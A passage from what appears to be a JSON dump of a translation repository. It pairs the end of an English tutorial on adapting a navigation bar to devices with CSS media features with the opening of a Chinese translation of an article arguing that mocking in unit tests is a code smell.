any viewport size, so both large touchscreen devices like an iPad Pro and tiny smartphones alike will have comfortable touch targets.\n\n```\nli a {\n  min-height: 4em;\n}\n```\n\nTo help readability on monochromatic or slow devices, like a Kindle, I haven't removed the underlines from links or added animations. I'll do that later on.\n\n```\n HTML\n \n <div class=\"container\">\n  <header role=\"banner\">\n    <h1>Brand Name</h1>\n    <nav>\n      <ul>\n        <li><a href=\"#main\">Home</a></li>\n        <li><a href=\"/about\">About</a></li>\n        <li><a href=\"/products\">Products</a></li> \n        <li><a href=\"/login\">Login</a></li>\n      </ul> \n    </nav> \n  </header>\n  <main id=\"main\">\n    <h2>Content goes here</h2>\n    \n    <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Consectetur deserunt, suscipit velit itaque vitae necessitatibus, impedit pariatur eos. Pariatur beatae sed repellendus iusto doloribus quidem asperiores quia exercitationem sint dicta!</p>\n    \n  </main>\n</div>\n\nCSS\n\n/* Defuault styles:\nwidth: narrow,\norientation: portrait, \nupdate: slow,\nscan: interlace,\nmonochrome: 1,\npointer: coarse, \nhover: none\n*/\n\n/* Positions the navbar at the bottom for easy thumb access on small devices with portrait orientation */ \nh1, nav{\n  position: fixed;\n  left: 0;\n  right: 0; \n}\n\n/* Creates large touch areas for finguers (coarse) */\nli a {\n  min-height: 4em;\n}\n\n/* Moves the main area to accomodate fixed header and navbar */\nmain {\n  padding: 1em;\n  padding-bottom: 5em;\n  padding-top: 5em;\n}\n\n/* Mobile first: Accomodates the brand name on the left and the navigation on the right and it wraps without the need of width media queries */\nheader {\n  display: flex;\n  flex-wrap: wrap;\n  justify-content: space-between;\n}\n\n/* Center aligns the brand name */\nh1 {\n  display: flex;\n  min-height: 2.5em;\n  align-items: center;\n  flex: 1 0 auto;\n  padding-left: 1em;\n  padding-right: 1em;\n}\n\n/* Flex items to make them streach */\nnav {\n  bottom: 0;\n  display: flex;\n  flex: 1 0 auto;\n}\n\nul, li, li a {\n display: flex;\n flex: 1;\n}\n\nli a {\n  flex: 1;\n  align-items: center;\n  justify-content: center;\n  padding-left: 1em;\n  padding-right: 1em;\n  border-left: 1px solid black;\n}\n\nli:first-child a {\n  border: none;\n}\n\n\n/* General make up: colors, fonts, etc */\nhtml, body, .container { box-size: border-box; height: 100vh; }\nbody { font-family: sans-serif; line-height: 1.5; }\nheader { background: #393f44; border-top: 4px solid #00a8e1; color: white; }\nnav { background: #292e34; }\nh1 { background: #030303; font-weight: bold; }\nli a { color: #ccc; }\nli a:hover { background: #393f44; color: white }\nh2, p { margin-bottom: 1em; }\nh2 {font-weight: 700; }\n\nResult\n\nBrand Name\n\nContent goes here\n\nLorem ipsum dolor sit amet, consectetur adipisicing elit. Consectetur deserunt, suscipit velit itaque vitae necessitatibus, impedit pariatur eos. Pariatur beatae sed repellendus iusto doloribus quidem asperiores quia exercitationem sint dicta!\n\nHome  About  Products  Login\n```\n\n![](https://cdn.css-tricks.com/wp-content/uploads/2017/04/portrait-phones.jpg)\n\n### Small landscape viewports, vertical large displays, or mouse pointers ###\n\nFor landscape viewports `orientation: landscape`, large portrait viewports like vertical monitors or tablets `min-width: 45em`, or small portrait devices with fine pointers like a stylus `pointer: fine`, users will no longer be using their thumbs on a handheld device; that's why I unpinned the menu and put it at the top right of the header.\n\n```\n@media (orientation: landscape), (pointer: fine), (min-width: 45em) {\n  main {\n    padding-bottom: 1em;\n    padding-top: 1em;\n  }\n  h1, nav {\n    position: static;\n  }\n}\n```\n\nSince the menu and the brand name are already flexed and stretched, then they'll accommodate themselves nicely.\n\nFor users that have a fine pointer like a mouse or a stylus, we want to decrease the hit target to gain the real estate on the main area:\n\n```\n@media (pointer: fine) {\n  h1, li a {\n    min-height: 2.5em;\n  }\n}\n```\n\n```\nHTML\n\n <h1>Brand Name</h1>\n    <nav>\n      <ul>\n        <li><a href=\"#main\">Home</a></li>\n        <li><a href=\"/about\">About</a></li>\n        <li><a href=\"/products\">Products</a></li> \n        <li><a href=\"/login\">Login</a></li>\n      </ul> \n    </nav> \n  </header>\n  <main id=\"main\">\n    <h2>Content goes here</h2>\n    \n    <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Consectetur deserunt, suscipit velit itaque vitae necessitatibus, impedit pariatur eos. Pariatur beatae sed repellendus iusto doloribus quidem asperiores quia exercitationem sint dicta!</p>\n    \n  </main>\n</div>\n\nCSS\n/* Detaches the fixed header and navbar for landscape viewports, fine pointers like a mouse and large screens */\n@media (orientation: landscape), (pointer: fine), (min-width: 45em) {\n  main {\n    padding-bottom: 1em;\n    padding-top: 1em;\n  }\n  h1, nav {\n    position: static;\n  }\n}\n\n/* Makes hit areas smaller for fine pointers like a mouse to gain viewport realestate */\n@media (pointer: fine) {\n  li a {\n    min-height: 2.5em;\n  }\n}\n\n\n/* General make up: colors, fonts, etc */\nhtml, body, .container { box-size: border-box; height: 100vh; }\nbody { font-family: sans-serif; line-height: 1.5; }\nheader { background: #393f44; border-top: 4px solid #00a8e1; color: white; }\nnav { background: #292e34; }\nh1 { background: #030303; font-weight: bold; }\nli a { color: #ccc; }\nli a:hover { background: #393f44; color: white }\nh2, p { margin-bottom: 1em; }\nh2 {font-weight: 700; }\n\nResult\n\nBrand Name   Home  About   Products   Login\n\nContent goes here\n\nLorem ipsum dolor sit amet, consectetur adipisicing elit. Consectetur deserunt, suscipit velit itaque vitae necessitatibus, impedit pariatur eos. Pariatur beatae sed repellendus iusto doloribus quidem asperiores quia exercitationem sint dicta!\n```\n\n\n![](https://cdn.css-tricks.com/wp-content/uploads/2017/04/IMG_5446.jpg) \n\n### Vertical nav for large landscape viewports ###\n\nVertical navigations are great for large landscape viewports `(orientation: landscape) and (min-width: 45em)`, like a tablet or a computer display. To do that I'll flex the container:\n\n```\n@media (orientation: landscape) and (min-width: 45em) {\n  .container {\n    display: flex;\n  }\n  ...\n}\n```\n\nNotice that hit targets have nothing to do with the size of the viewport or style of navigation. If the user is on a large touchscreen device with a vertical tab, they'll see larger targets regardless of the size of the width of the screen.\n\n```\nHTML\n\n<div class=\"container\">\n  <header role=\"banner\">\n    <h1>Brand Name</h1>\n    <nav>\n      <ul>\n        <li><a href=\"#main\">Home</a></li>\n        <li><a href=\"/about\">About</a></li>\n        <li><a href=\"/products\">Products</a></li> \n        <li><a href=\"/login\">Login</a></li>\n      </ul> \n    </nav> \n  </header>\n  <main id=\"main\">\n    <h2>Content goes here</h2>\n    \n    <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Consectetur deserunt, suscipit velit itaque vitae necessitatibus, impedit pariatur eos. Pariatur beatae sed repellendus iusto doloribus quidem asperiores quia exercitationem sint dicta!</p>\n    \n  </main>\n</div>\n\nCSS\n\nHTML  CSS  Result\nEDIT ON\n /* Defuault styles:\nwidth: narrow,\norientation: portrait, \nupdate: slow,\nscan: interlace,\nmonochrome: 1,\npointer: coarse, \nhover: none\n*/\n\n/* Creates large touch areas for finguers (coarse) */\nli a {\n  min-height: 4em;\n}\n\n/* Positions the navbar at the bottom for easy thumb access on small devices with portrait orientation */ \nh1, nav{\n  position: fixed;\n  left: 0;\n  right: 0; \n}\n\n/* Moves the main area to accomodate fixed header and navbar */\nmain {\n  padding: 1em;\n  padding-bottom: 5em;\n  padding-top: 5em;\n}\n\n/* Mobile first: Accomodates the brand name on the left and the navigation on the right and it wraps without the need of width media queries */\nheader {\n  display: flex;\n  flex-wrap: wrap;\n  justify-content: space-between;\n}\n\n/* Center aligns the brand name */\nh1 {\n  display: flex;\n  min-height: 2.5em;\n  align-items: center;\n  flex: 1 0 auto;\n  padding-left: 1em;\n  padding-right: 1em;\n}\n\n/* Flex items to make them streach */\nnav {\n  bottom: 0;\n  display: flex;\n  flex: 1 0 auto;\n}\n\nul, li, li a {\n display: flex;\n flex: 1;\n}\n\nli a {\n  flex: 1;\n  align-items: center;\n  justify-content: center;\n  padding-left: 1em;\n  padding-right: 1em;\n  border-left: 1px solid black;\n}\n\nli:first-child a {\n  border: none;\n}\n\n/* Detaches the fixed header and navbar for landscape viewports, fine pointers like a mouse and large screens */\n@media (orientation: landscape), (pointer: fine), (min-width: 45em) {\n  main {\n    padding-bottom: 1em;\n    padding-top: 1em;\n  }\n  h1, nav {\n    position: static;\n  }\n}\n\n/* Makes hit areas smaller for fine pointers like a mouse to gain viewport realestate */\n@media (pointer: fine) {\n  li a {\n    min-height: 2.5em;\n  }\n}\n\n\n/* Creates a vertical navigation on large landscape viewports */\n  @media (orientation: landscape) and (min-width: 45em) {\n  .container {\n    display: flex;\n  }\n\n  header {\n    display: block;\n    flex: 0 0 20%;\n  }\n    \n  header h1{\n    min-height: 6em;\n  }\n    \n  ul, li {\n    display: block;\n  }\n\n  li a, li:first-child a {\n    justify-content: start;\n    border-left: 0;\n    border-bottom: 1px solid black;\n  } \n}\n\n/* General make up: colors, fonts, etc */\nhtml, body, .container { box-size: border-box; height: 100vh; }\nbody { font-family: sans-serif; line-height: 1.5; }\nheader { background: #393f44; border-top: 4px solid #00a8e1; color: white; }\nnav { background: #292e34; }\nh1 { background: #030303; font-weight: bold; }\nli a { color: #ccc; }\nli a:hover { background: #393f44; color: white }\nh2, p { margin-bottom: 1em; }\nh2 {font-weight: 700; }\n\nResult\n\nBrand Name  Home   About  Products   Login\n\nContent goes here\n\nLorem ipsum dolor sit amet, consectetur adipisicing elit. Consectetur deserunt, suscipit velit itaque vitae necessitatibus, impedit pariatur eos. Pariatur beatae sed repellendus iusto doloribus quidem asperiores quia exercitationem sint dicta!\n```\n\n![](https://cdn.css-tricks.com/wp-content/uploads/2017/04/IMG_5479.jpg) \n\n### Animations, decorations and edge cases ###\n\nAnimations are a great way to [enhance interactions](https://material.io/guidelines/motion/material-motion.html#) and help users achieve their goals quickly and easily. But some devices are incapable of producing smooth animations - like e-readers. That's why I am limiting animations to devices that are capable of generating a good experience `(update: fast), (scan: progressive), (hover: hover)`.\n\n```\n@media (update: fast), (scan: progressive), (hover: hover) {\n  li a {\n    transition: all 0.3s ease-in-out;\n  }\n}\n```\n\nI am also removing the text decoration on color devices:\n\n```\n@media (color) {\n  li a { text-decoration: none; }\n}\n```\n\nRemoving underlines (via `text-decoration`) is tricky territory. Our accessibility consultant Marcy Sutton put it well:\n\n> Some users really benefit from link underlines, especially in body copy. But since these particular links are part of the navigation with a distinct design treatment, the link color just needs [adequate contrast](https://www.w3.org/TR/WCAG20-TECHS/F73.html) from the background color for users with low vision or color blindness.\n\n![](https://cdn.css-tricks.com/wp-content/uploads/2017/05/contrast.png) \n\nWe made sure the colors had enough [color contrast](http://webaim.org/resources/contrastchecker/) to pass WCAG AAA.\n\nI'm also increasing the border width to 2px to avoid \"[twitter](https://en.wikipedia.org/wiki/Interlaced_video#Interline_twitter)\" (real term!) on interlace devices like plasma TVs:\n\n```\n@media (scan: interlace) {\n  li a, li:first-child a {\n    border-width: 2px;\n  }\n}\n```\n\nAnd here is the final result:\n\n```\nHTML\n\n<div class=\"container\">\n  <header role=\"banner\">\n    <h1>Brand Name</h1>\n    <nav>\n      <ul>\n        <li><a href=\"#main\">Home</a></li>\n        <li><a href=\"/about\">About</a></li>\n        <li><a href=\"/products\">Products</a></li> \n        <li><a href=\"/login\">Login</a></li>\n      </ul> \n    </nav> \n  </header>\n  <main id=\"main\">\n    <h2>Content goes here</h2>\n    \n    <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Consectetur deserunt, suscipit velit itaque vitae necessitatibus, impedit pariatur eos. Pariatur beatae sed repellendus iusto doloribus quidem asperiores quia exercitationem sint dicta!</p>\n    \n  </main>\n</div>\n\nCSS\n\n/* Defuault styles:\nwidth: narrow,\norientation: portrait, \nupdate: slow,\nscan: interlace,\nmonochrome: 1,\npointer: coarse, \nhover: none\n*/\n\n/* Creates large touch areas for finguers (coarse) */\nli a {\n  min-height: 4em;\n}\n\n/* Positions the navbar at the bottom for easy thumb access on small devices with portrait orientation */ \nh1, nav{\n  position: fixed;\n  left: 0;\n  right: 0; \n}\n\n/* Moves the main area to accomodate fixed header and navbar */\nmain {\n  padding: 1em;\n  padding-bottom: 5em;\n  padding-top: 5em;\n}\n\n/* Mobile first: Accomodates the brand name on the left and the navigation on the right and it wraps without the need of width media queries */\nheader {\n  display: flex;\n  flex-wrap: wrap;\n  justify-content: space-between;\n}\n\n/* Center aligns the brand name */\nh1 {\n  display: flex;\n  min-height: 2.5em;\n  align-items: center;\n  flex: 1 0 auto;\n  padding-left: 1em;\n  padding-right: 1em;\n}\n\n/* Flex items to make them streach */\nnav {\n  bottom: 0;\n  display: flex;\n  flex: 1 0 auto;\n}\n\nul, li, li a {\n display: flex;\n flex: 1;\n}\n\nli a {\n  flex: 1;\n  align-items: center;\n  justify-content: center;\n  padding-left: 1em;\n  padding-right: 1em;\n  border-left: 1px solid black;\n}\n\nli:first-child a {\n  border: none;\n}\n\n/* Detaches the fixed header and navbar for landscape viewports, fine pointers like a mouse and large screens */\n@media (orientation: landscape), (pointer: fine), (min-width: 45em) {\n  main {\n    padding-bottom: 1em;\n    padding-top: 1em;\n  }\n  h1, nav {\n    position: static;\n  }\n}\n\n/* Makes hit areas smaller for fine pointers like a mouse to gain viewport realestate */\n@media (pointer: fine) {\n  li a {\n    min-height: 2.5em;\n  }\n}\n\n\n/* Creates a vertical navigation on large landscape viewports */\n  @media (orientation: landscape) and (min-width: 45em) {\n  .container {\n    display: flex;\n  }\n\n  header {\n    display: block;\n    flex: 0 0 20%;\n  }\n    \n  header h1{\n    min-height: 6em;\n  }\n    \n  ul, li {\n    display: block;\n  }\n\n  li a, li:first-child a {\n    justify-content: start;\n    border-left: 0;\n    border-bottom: 1px solid black;\n  } \n}\n\n/* Adds an animation on devices that are capable to render animations smoothly. Filters devices like Kindles, TVs, touch devices */\n@media (update: fast), (scan: progressive), (hover: hover) {\n  li a {\n    transition: all 0.3s ease-in-out;\n  }\n}\n\n/* Removes underlines on links for color screens */\n@media (color) {\n  li a { text-decoration: none; }\n}\n\n/* Increases borders to 2px on interlace screens like plasma TVs */\n@media (scan: interlace) {\n    li a, li:first-child a {\n    border-width: 2px;\n  }\n}\n\n/* General make up: colors, fonts, etc */\nhtml, body, .container { box-size: border-box; height: 100vh; }\nbody { font-family: sans-serif; line-height: 1.5; }\nheader { background: #393f44; border-top: 4px solid #00a8e1; color: white; }\nnav { background: #292e34; }\nh1 { background: #030303; font-weight: bold; }\nli a { color: #ccc; }\nli a:hover { background: #393f44; color: white }\nh2, p { margin-bottom: 1em; }\nh2 {font-weight: 700; }\n\nResult\n\nBrand Name   Home  About  Products   Login\n\nContent goes here\n\nLorem ipsum dolor sit amet, consectetur adipisicing elit. Consectetur deserunt, suscipit velit itaque vitae necessitatibus, impedit pariatur eos. Pariatur beatae sed repellendus iusto doloribus quidem asperiores quia exercitationem sint dicta!\n\n```\n\n### Test it out ###\n\nTesting all this may not be that easy!. This example relies on flexbox, and some browsers have limited support for other modern CSS features. A Kindle, for example, won't read `@media`, `@support`, or flexbox properties.\n\nI've added float fallbacks here:\n\n```\nHTML\n\n<div class=\"container\">\n  <header role=\"banner\">\n    <h1>Brand Name</h1>\n    <nav>\n      <ul>\n        <li><a href=\"#main\">Home</a></li>\n        <li><a href=\"/about\">About</a></li>\n        <li><a href=\"/products\">Products</a></li> \n        <li><a href=\"/login\">Login</a></li>\n      </ul> \n    </nav> \n  </header>\n  <main id=\"main\">\n    <h2>Content goes here</h2>\n    \n    <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Consectetur deserunt, suscipit velit itaque vitae necessitatibus, impedit pariatur eos. Pariatur beatae sed repellendus iusto doloribus quidem asperiores quia exercitationem sint dicta!</p>\n    \n  </main>\n</div>\n\nCSS\n\n/* Float fallback for browsers that don't support flex. This is not a full fallback for all cases. */\n\n  h1, li a {\n    min-height: 0;\n    padding: .8em;\n    display: block;\n  }\n  h1, nav {\n    position: static;\n  }\n  main {\n    display: block;\n    padding: .8em;\n  }\n\n  /* floats instead of flex the navbar */\n  li {\n    float: left;\n    width: 25%;\n  }\n\n  /* Clearfixes the nav unorder list */\n  ul:after {\n    content: \"\";\n    display: table;\n    clear: both;\n  }\n\n  /* Defuault styles:\n  width: narrow,\n  orientation: portrait,\n  update: slow,\n  scan: interlace,\n  monochrome: 1,\n  pointer: coarse,\n  hover: none\n  */\n\n  /* Creates large touch areas for finguers (coarse) */\n  @supports (display: flex) {\n    li a {\n      min-height: 4em;\n    }\n\n    /* Positions the navbar at the bottom for easy thumb access on small devices with portrait orientation */\n    h1, nav{\n      position: fixed;\n      left: 0;\n      right: 0;\n    }\n\n    /* Moves the main area to accomodate fixed header and navbar */\n    main {\n      display: block;\n      padding: 1em;\n      padding-bottom: 5em;\n      padding-top: 5em;\n    }\n  }\n\n  /* Mobile first: Accomodates the brand name on the left and the navigation on the right and it wraps without the need of width media queries */\n\n  header {\n    display: flex;\n    flex-wrap: wrap;\n    justify-content: space-between;\n  }\n\n  /* Center aligns the brand name */\n\n  @supports (display: flex) {\n    h1 {\n      min-height: 2.5em;\n      padding: 0 1em;\n      display: flex;\n      align-items: center;\n      flex: 1 0 auto;\n    }\n  }\n\n  /* Flex items to make them streach */\n  nav {\n    bottom: 0;\n    display: flex;\n    flex: 1 0 auto;\n  }\n\n  ul, li, li a {\n    display: flex;\n    flex: 1;\n    text-align: center;\n  }\n  li a {\n    border-left: 1px solid black;\n  }\n\n  @supports (display: flex) {\n    li a {\n      flex: 1;\n      align-items: center;\n      justify-content: center;\n      padding: 0 1em;\n      border-left: 1px solid black;\n    }\n  }\n  li:first-child a {\n    border: none;\n  }\n\n  /* Detaches the fixed header and navbar for landscape viewports, fine pointers like a mouse and large screens */\n  @media (orientation: landscape), (pointer: fine), (min-width: 45em) {\n    main {\n      padding-bottom: 1em;\n      padding-top: 1em;\n    }\n    h1, nav {\n      position: static;\n    }\n  }\n\n  /* Makes hit areas smaller for fine pointers like a mouse to gain viewport realestate */\n  @media (pointer: fine) {\n    li a {\n      min-height: 2.5em;\n    }\n  }\n\n\n  /* Creates a vertical navigation on large landscape viewports */\n  @media (orientation: landscape) and (min-width: 45em) {\n    .container {\n      display: flex;\n    }\n\n    header {\n      display: block;\n      flex: 0 0 20%;\n    }\n\n    h1{\n      min-height: 6em;\n    }\n\n    @supports (display: flex) {\n      ul, li {\n        display: block;\n        float: none;\n        width: auto;\n      }\n    }\n\n    li a, li:first-child a {\n      justify-content: start;\n      border-left: 0;\n      border-bottom: 1px solid black;\n    }\n  }\n\n  /* Adds an animation on devices that are capable to render animations smoothly. Filters devices like Kindles, TVs, touch devices */\n  @media (update: fast), (scan: progressive), (hover: hover) {\n    li a {\n      transition: all 0.3s ease-in-out;\n    }\n  }\n\n  /* Removes underlines on links for color screens */\n  @media (color) {\n    li a { text-decoration: none; }\n  }\n\n  /* Increases borders to 2px on interlace screens like plasma TVs */\n  @media (scan: interlace) {\n    li a, li:first-child a {\n      border-width: 2px;\n    }\n  }\n\n  /* General make up: colors, fonts, etc */\n  html, body, .container { box-size: border-box; height: 100vh; }\n  body { font-family: sans-serif; line-height: 1.5; }\n  header { background: #393f44; border-top: 4px solid #00a8e1; color: white; }\n  nav { background: #292e34; }\n  h1 { background: #030303; font-weight: bold; }\n  li a { color: #ccc; }\n  li a:hover { background: #393f44; color: white }\n  h2, p { margin-bottom: 1em; }\n  h2 {font-weight: 700; }\n  \nResult\n\nBrand Name   Home   About   Products   Login\n\nContent goes here\n\nLorem ipsum dolor sit amet, consectetur adipisicing elit. Consectetur deserunt, suscipit velit itaque vitae necessitatibus, impedit pariatur eos. Pariatur beatae sed repellendus iusto doloribus quidem asperiores quia exercitationem sint dicta!\n\n```\n\n![](https://cdn.css-tricks.com/wp-content/uploads/2017/04/IMG_5476.jpg)\n\nYou can open the [full page example](https://rawgit.com/andresgalante/test/master/test.html) in different devices, landscape, or portrait and test it out!\n\n### How soon will we realistically be able to use all these features? ###\n\nNow! That is, if you are ok offering different experiences on different browsers.\n\nToday, Firefox doesn't support Interaction Media Queries. A Firefox user with a fine pointer mechanism, like a mouse, will see large hit areas reducing the main area real estate.\n\nBrowser support for [most of these features](http://caniuse.com/#feat=css-mediaqueries) is already available and support for [Interaction Media Features, support isn't bad](https://css-tricks.com/touch-devices-not-judged-size/#article-header-id-5)! I am sure that we will see it [supported across the board](http://caniuse.com/#feat=css-media-interaction) soon.\n\nRemember to test as much as you can and don't assume that any of this will just work, especially in less capable or older devices.\n\n### There is more! ###\n\nI've covered some of the Media Features along the example, but I left others behind. For example the [Resolution Media Feature](https://www.w3.org/TR/mediaqueries-4/#resolution) that describes the resolution of the output device.\n\nMy goal is to make you think beyond your almighty MacBook or iPhone with a retina display. The web is so much more and it's everywhere. We have the tools to create the most amazing, flexible, inclusive, and adaptable experiences; let's use them.\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/mocking-is-a-code-smell.md",
    "content": "> * 原文地址：[Mocking is a Code Smell](https://medium.com/javascript-scene/mocking-is-a-code-smell-944a70c90a6a)\n> * 原文作者：[Eric Elliott](https://medium.com/@_ericelliott?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/mocking-is-a-code-smell.md](https://github.com/xitu/gold-miner/blob/master/TODO/mocking-is-a-code-smell.md)\n> * 译者：[yoyoyohamapi](https://github.com/yoyoyohamapi)\n> * 校对者：[IridescentMia](https://github.com/IridescentMia) [athena0304](https://github.com/athena0304)\n\n# 模拟是一种代码异味（软件编写）（第十二部分）\n\n![Smoke Art Cubes to Smoke — MattysFlicks — (CC BY 2.0)](https://cdn-images-1.medium.com/max/800/1*uVpU7iruzXafhU2VLeH4lw.jpeg)\n\n（译注：该图是用 PS 将烟雾处理成方块状后得到的效果，参见 [flickr](https://www.flickr.com/photos/68397968@N07/11432696204)。）\n\n> 这是 “软件编写” 系列文章的第十一部分，该系列主要阐述如何在 JavaScript ES6+ 中从零开始学习函数式编程和组合化软件（compositional software）技术（译注：关于软件可组合性的概念，参见维基百科\n> [< 上一篇](https://juejin.im/post/59e55dbbf265da43333d7652) | [<< 返回第一篇](https://github.com/xitu/gold-miner/blob/master/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md)\n\n关于 TDD （Test Driven Development：测试驱动开发）和单元测试，我最常听到的抱怨就是，开发者经常要和隔离单元所要求的 mock（模拟）作斗争。一些开发者并不知道单元测试真正意义所在。实际上，我发现开发者迷失在了他们单元测试文件中的 mock（模拟）、fake（伪造对象）、和 stub（桩）（译注：三者都是[ Test Double（测试替身）](https://www.wikiwand.com/en/Test_double)，可参看[单元测试中 Mock 与 Stub 的浅析](https://segmentfault.com/a/1190000004936516)，[Unit Test - Stub, Mock, Fake 簡介](http://blog.csdn.net/wauit/article/details/21470255)），这些测试替身**并没有执行任何现实中实现的代码**。\n\n另一方面，开发者容易陷入 TDD 的教条中，千方百计地要完成 100% 的代码覆盖率，即便这样做会使他们的代码越来越复杂。\n\n我经常告诉开发者模拟是一种代码异味（code smell），但大多数开发者的 TDD 技巧偏离到了追求 100% 单元测试覆盖率的阶段，他们无法想象去掉一个个的模拟该怎么办。为了将模拟置入到应用中，他们尝试对测试单元包裹依赖注入函数，更糟糕地，还会将服务打包进依赖注入容器。\n\nAngular 做得很极端，它为所有的组件添加了依赖注入，试图让人们将依赖注入看作是解耦的主要方式。但事实并非如此，依赖注入并不是完成解耦的最佳手段。\n\n### TDD 应该有更好的设计\n\n> 学习高效的 TDD 的过程也是学习如何构建更加模块化应用的过程。\n\nTDD 不是要复杂化代码，而是要简化代码。如果你发现当你为了让代码更可测试而牺牲掉代码的可读性和可维护性时，或者你的代码因为引入了依赖注入的样板代码而变臃肿时，你正在错误地实践 TDD。\n\n不要以为在项目中引入依赖注入就能模拟整个世界。它们未必能帮到你，相反还会坑了你。编写更多的可测试代码本应当能够简化你的代码。它不仅要求更少的代码行数，还要求代码更加可读、灵活以及可维护，依赖注入却与此相反。\n\n本文将教会你两件事：\n\n1. 你不需要依赖注入来解耦代码\n2. 最大化代码覆盖率将引起收益递减（diminishing returns） —— 你越接近 100% 的覆盖率，你就越可能让你的应用变复杂，这与测试的目的（减少程序中的 bug）就背道而驰了。\n\n更复杂的代码通常伴有更加臃肿的代码。你对整洁代码的渴望就像你对房屋整洁的渴望那样：\n\n* 代码越臃肿，意味着 bug 有更多空间藏身，也就意味着程序将存在更多 bug。\n* 代码如果整洁精致，你也不会迷失在当中了。\n\n### 什么是代码异味（code smell）？\n\n> “代码异味指的是系统深层次问题反映出来的表面迹象” ~ Martin Fowler\n\n代码异味并不意味着某个东西完全错了，或者是某个东西必须立即得到修正。它只是一个经验法则，来提醒你要做出一些优化了。\n\n本文以及本文的标题没有暗示所有的模拟都是不好的，也没有暗示你别再使用模拟了。\n\n另外，不同类型的代码需要不同程度（或者说不同类型）的模拟。如果代码是为了方便 I/O 操作的，那么测试就应当着眼于模拟 I/O，否则你的单元测试覆盖率将趋近于 0。\n\n如果你的代码不存在任何逻辑（只含有纯函数组成的管道或者组合），0% 的单元测试覆盖率也是可以接受的，因为此时你的集成测试或者功能测试的覆盖率接近 100%。然而，如果代码中存在逻辑（条件表达式，变量赋值，显式函数调用等），你可能需要单元测试覆盖率，此时你有机会去简化你的代码以及减少模拟需求。\n\n### 模拟是什么？\n\n模拟（mock）是一个测试替身（test double），在单元测试过程中，它负责真正的代码实现。在整个测试的运行期内，一个模拟能够产生有关它如何被测试对象所操纵的断言。如果你的测试替身产生了断言，在特定的意义上，它就是一个模拟。\n\n“模拟”一词更常用来指代任何测试替身的使用。考虑到本文的创作初衷，我们将交替使用“模拟”和“测试替身”两个词以符合潮流。所有的测试替身（dummy、spy、fake 等等）都代表了与测试对象紧耦合的真实代码，因此，所有的测试替身都是耦合的标识，优化测试，也间接帮助优化了代码质量。与此同时，减少对于模拟的需求能够大幅简化测试本身，因为你不再需要花费时间去构建模拟。\n\n### 什么是单元测试？\n\n单元测试是测试单个工作单元（模块，函数，类），测试期间，将隔离单元与程序剩余部分。\n\n集成测试是测试两个或多个单元间集成度的，功能测试则是从用户视角来测试应用的，包含了完整的用户交互工作流，从模拟 UI 操作，到数据层更新，再到对用户输出（例如应用在屏幕上的展示）。功能测试是集成测试的一个子集，因为他们测试了应用的所有单元，这些单元集成在了当前运行应用的一个上下文中。\n\n一般而言，只会使用单元的公共接口（也叫做 “公共 API” 或者 “表面积”）来测试单元。这被称为黑盒测试。黑盒测试对于测试的健壮度更有利，因为对于某个测试单元，其公共 API 的变化频度通常小于实现细节的变化频度，即公共 API 一般是稳定的。如果你写白盒测试，这种测试就能知道功能实现细节，因此任何实现细节的改变都将破坏测试，即便公共 API 的功能仍然不变。换言之，白盒测试会引起一些耗时的重复工作。\n\n### 什么是测试覆盖率？\n\n\n测试覆盖率与被测试用例所覆盖的代码数量有关。覆盖率报告可以通过插桩（[instrumenting](https://www.wikiwand.com/en/Instrumentation_(computer_programming))）代码以及在测试期间记录哪行代码被执行了来创建。一般来说，我们追求高测试覆盖率，但是当覆盖率趋近于 100% 时，将造成收益递减。\n\n个人而言，将测试覆盖率提高到 90% 以上似乎也并不能再降低更多的 bug。\n\n为什么会这样呢？100% 的覆盖率不是意味着我们 100% 确定代码已经按照预期实现了吗？\n\n事实证明，没那么简单。\n\n大多数开发者并不知道其实存在着两种覆盖率：\n\n1. **代码覆盖率：**测试单元覆盖了多少代码逻辑\n2. **用例覆盖率：**测试集覆盖了多少用例\n\n用例覆盖率与用例场景有关：代码在真实环境的上下文将如何工作，该环境包含有真实用户，真实网络状况甚至还有黑客的非法攻击。\n\n覆盖率标识了代码覆盖上的弱点或威胁，而不是用例覆盖上的弱点和威胁。相同的代码可能服务于不同的用例，单一用例可能依赖了当前测试对象以外的代码，甚至依赖了另一个应用或者第三方 API。\n\n由于用例可能涉及环境、多个单元、用户以及网络状况，所以不太可能在只包含了一个测试单元的测试集下覆盖所有所要求的用例。从定义上来说，单元测试对各个单元进行独立地测试，而非集成测试，这也意味着，对于只包含了一个测试单元的测试集来说，集成或者功能用例场景下的用例覆盖率趋近于 0%。\n\n100% 的代码覆盖率不能保证 100% 的用例覆盖率。\n\n开发者对于 100% 代码覆盖率的追求看来是走错路了。\n\n### 什么是紧耦合？\n\n使用模拟来完成单元测试中单元隔离的需求是由各个单元间的耦合引起的。紧耦合会让代码变得呆板而脆弱：当需要改变时，代码更容易被破坏。一般来说，耦合越少，代码更易扩展和维护。锦上添花的是，耦合的减少也会减少测试对于模拟的依赖，从而让测试变得更加容易。\n\n从中不难推测，如果我们正模拟某个事物，就存在着通过减少单元间的耦合来提升代码灵活性的空间。一旦解耦完成，你将再也不需要模拟了。\n\n耦合反映了某个单元的代码（模块、函数、类等等）对于其他单元代码的依赖程度。紧耦合，或者说一个高度的耦合，反映了一个单元在其依赖被修改时有多大可能会损坏。换言之，耦合越紧，应用越难维护和扩展。松耦合则可以降低修复 bug 和为应用引入新的用例时的复杂度。\n\n耦合会有不同形式的反映：\n\n* **子类耦合**：子类依赖于整个继承层级上父类的实现，这是面向对象中耦合最紧的形式。\n* **控制依赖**：代码通过告知 “做什么（what to do）” 